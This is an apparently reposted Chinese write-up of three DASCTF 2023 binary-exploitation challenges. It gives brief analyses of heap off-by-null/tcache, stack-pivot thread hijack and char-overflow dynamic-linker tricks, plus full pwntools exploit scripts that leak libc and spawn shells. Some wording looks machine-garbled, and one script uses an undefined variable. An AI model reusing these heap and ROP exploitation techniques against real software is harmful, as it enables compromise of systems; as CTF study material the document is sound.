DASCTF 2023六月挑战赛｜二进制专项 PWN （下）

DASCTF 2023六月挑战赛｜二进制专项 PWN （下）

1.can_you_find_me

检查掩护

意料之中
64位ida逆向

只有add，和del功能不能show
先看add吧

最多申请10个堆块

存在off_by_null毛病，可以考虑unlink来举行堆块重叠

del函数就没有UAF毛病了
1.起首想办法泄露出libc地址，由于本题libc是2.27的，所以引入了tcachebin机制，要么申请大堆块要么申请超过7个的小堆块，但是本题有限制申请的数目，联合off——by——null,优先考虑unlink
2.通过unlink，和tcachebin打配合，申请堆块到__IO_2_1_stdout_布局体上修改__IO_write_base_ 字段，由于背面调用了puts，所以会打印许多数据，当地测试是改末尾位\x58到_IO_file_jumps上，根据这个计算偏移
3.接着就是同样的手法打配合，free_hook改为system，进而得到shell。
ps：由于长途高位字节必要爆破，写个循环方便一点（1/16的概率）
exp：

1. from pwn import *
2. context(log_level='debug',arch='amd64',os='linux')
4. #io = process('./find')
5. libc = ELF('/home/su/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so')
6. #io = remote('node5.buuoj.cn',27771)
8. def add(size,msg):
9.     io.sendlineafter('choice:','1');
10.     io.sendlineafter('Size:',str(size))
11.     io.sendlineafter('Data:',msg)
14. def free(index):
15.     io.sendlineafter('choice:','2');
16.     io.sendlineafter('Index:',str(index))
18. def pwn():
19.   add(0x410,'aa') #0
20.   add(0x20,'aa')  #1
21.   add(0x20,'aa')  #2
22.   add(0x30,'aa')  #3
23.   add(0x4f0,'aa') #4
24.   add(0x20,'/bin/sh\x00') #5
25.   gdb.attach(io)
26.   free(0)
27.   free(3)
29.   payload = b'a'*0x30 + p64(0x40+0x30+0x30+0x420)
30.   add(0x38,payload) #0
31.   #gdb.attach(io)
32.   free(4)
34.   free(1)
36.   add(0x410,'a') #1
37.   #gdb.attach(io)
38.   add(0x10,b'\x60\xc7') #3
40.   add(0x20,b'a') #4
41.   payload = p64(0xfbad1887) + p64(0)*3 + b'\x58'
42.   add(0x27,payload)
44.   libc_base = u64(io.recv(6).ljust(8,b'\x00')) - libc.sym['_IO_file_jumps']
45.   success('libc_base----->'+hex(libc_base))
46.   free_hook = libc_base + libc.sym['__free_hook']
47.   system = libc_base + libc.sym['system']
48.   pause()
49.   #gdb.attach(io)
50.   free(0)
51.   payload = b'a'*0x30 + p64(0) + p64(0x41) + p64(free_hook)
52.   add(0x60,payload)
53.   add(0x38,'aaa')
54.   add(0x38,p64(system))
56.   free(5)
57.   io.interactive()
59. while True:
60.     try:
61.         #io = remote('node5.buuoj.cn',27373)
62.         io = process('./find')
63.         pwn()
64.         break;
65.     except:
66.         io.close()

复制代码

2.A dream

程序掩护情况

没有开canary和pie掩护
64位ida逆向

创建了一个子线程
进去看看

一直打印一句话（wyxy....）
主历程还有一个函数进去看看

一个读取存在8字节的溢出，可以栈迁徙
（真那么简朴吗？出题人你干了什么，你不开沙箱我们怎样对抗ctfers，出题人冷冷一笑，哼，很简朴，我掩护开满不久好了，说罢出题人便开启了最终掩护，让ctfers无处下手）
所以我们先看看沙箱

那么没有open也不能orw了，ida看到这个沙箱是在主线程里面，因此我们可以考虑劫持子线程拿到shell
1.怎么劫持呢？注意到子历程调用了write，那么可以劫持write_got表修改为下面这个地址

2.欸，这不就在子历程开始读取了嘛，直接开炫
3.注意要把主线程sleep起来不然主线程没了更不要说子线程了
exp:

1. from pwn import *
2. context(log_level='debug',arch='amd64',os='linux')
4. io = process('./dream')
5. #io = remote('node5.buuoj.cn',29280)
6. elf = ELF('./dream')
7. libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
8. #libc = ELF('libc6_2.31-0ubuntu9.7_amd64.so')
9. bss = elf.bss() + 0x100
10. magic_read = 0x4013AE
11. payload = b'a'*0x40 + p64(bss+0x40) + p64(magic_read)
12. io.send(payload)
13. #gdb.attach(io)
14. sleep(0.1)
15. pop_rdi_ret = 0x401483
16. pop_rsi_r15_ret = 0x401481
17. leave_ret = 0x40136c
18. payload = p64(pop_rsi_r15_ret) + p64(elf.got['write']) + p64(0) +p64(elf.plt['read'])
19. payload += p64(pop_rdi_ret) + p64(0x1000) + p64(elf.plt['sleep'])
20. payload = payload.ljust(0x40, b'\x00') + p64(bss-8) + p64(leave_ret)
21. io.send(payload)
22. sleep(0.1)
23. #gdb.attach(io)
24. io.send(p64(magic_read))
26. pause()
28. payload =b'a'*0x30 +p64(pop_rdi_ret) + p64(elf.got['puts']) +p64(elf.plt['puts']) + p64(magic_read)
29. gdb.attach(io)
30. io.send(payload)
31. sleep(0.1)
32. io.recvuntil('\n')
33. io.recvuntil('\n')
34. #io.recvuntil('\n')
35. #io.recvuntil('\n')
36. #io.recvuntil('\n')
37. #io.recvuntil('\n')
38. #io.recvuntil('\n')
39. #io.recvuntil('\n')
40. #sleep(0.2)
41. libc_base = u64(io.recv(6).ljust(8, b'\x00')) - libc.sym['puts']
42. success("libc_base:\t" + hex(libc_base))
43. bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))
44. system_addr = libc_base + libc.sym['system']
45. ret = 0x40101a
46. #gdb.attach(io)
47. pop_rdi_rbp_ret = libc_base + 0x000000000002a745   #+ 0x248f2
48. thread_stack_rsp_addr = libc_base - 0x4150 + 0x2fa0 - 0x40 -8
49. success('thread_stack_rop_addr----->'+hex(thread_stack_rop_addr))
50. payload = p64(ret) + p64(pop_rdi_rbp_ret) + p64(bin_sh_addr) + p64(0) +p64(system_addr)
51. payload = payload.ljust(0x40, b'\x00') + p64(thread_stack_rsp_addr) +p64(leave_ret)
52. #gdb.attach(io)
53. io.send(payload)
55. io.interactive()

复制代码

3.matchmaking platform

程序掩护情况

只给我们留了一个耽误绑定
64位ida逆向

分别有两次机遇向0x4140和0x40c0上面写东西

v3是char范例范围-127-128,起始是0，用了do，while，可以加到129，实现溢出变成-128，也就是可以写到0x40c0的位置（这个位置保存了程序里面的一个地址）
思路：1.通过溢出修改最后一位到老朋友_IO_2_1_stdout_布局体上，进而实现数据的泄露，有概率泄露出程序地址
2.由于程序是耽误绑定，通过伪造str_tab，劫持到free耽误绑定劫持到puts_got表上，最后放入参数/bin/sh拿到shell
exp：

1. from pwn import *
2. context(os = 'linux', arch = 'amd64', log_level = 'debug')
4. def pwn():
5.     io.sendafter("Age >> ", b'\x00' * 0x80 + b'\x80')
6.     io.sendlineafter("Photo(URL) >> ", p64(0xfbad1887) + p64(0) * 3 + b'\xb0\x5d')
7.     pie_base = u64(io.recv(6, timeout=0.5).ljust(8, b'\x00')) - 0x40a0
8.     if (pie_base & 0xfff) != 0:
9.         exit(-1)
10.     success("pie_base:\t" + hex(pie_base))
11.     pause()
12.     gdb.attach(io)
13.     payload = b'/bin/sh\x00' + p64(pie_base + 0x4140 - 0x67) + b'system\x00'
14.     io.sendafter("Name >> ", payload.ljust(0x80, b'\x00') + b'\x08')
15.     payload = p64(pie_base + 0x8).ljust(0x68, b'\x00') + p64(pie_base + 0x4140) #通过偏移劫持到puts
16.     io.sendlineafter("Hobby >> ", payload)
17.     io.interactive()
18. if __name__ == '__main__':
19.     while True:
20.         global io
21.         try:
22.             io = process("./matchmaking_platform")
23.             pwn()
24.             break
25.         except:
26.             io.close()

复制代码

免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！更多信息从访问主页：qidao123.com:ToB企服之家，中国第一个企服评测及商务社交产业平台。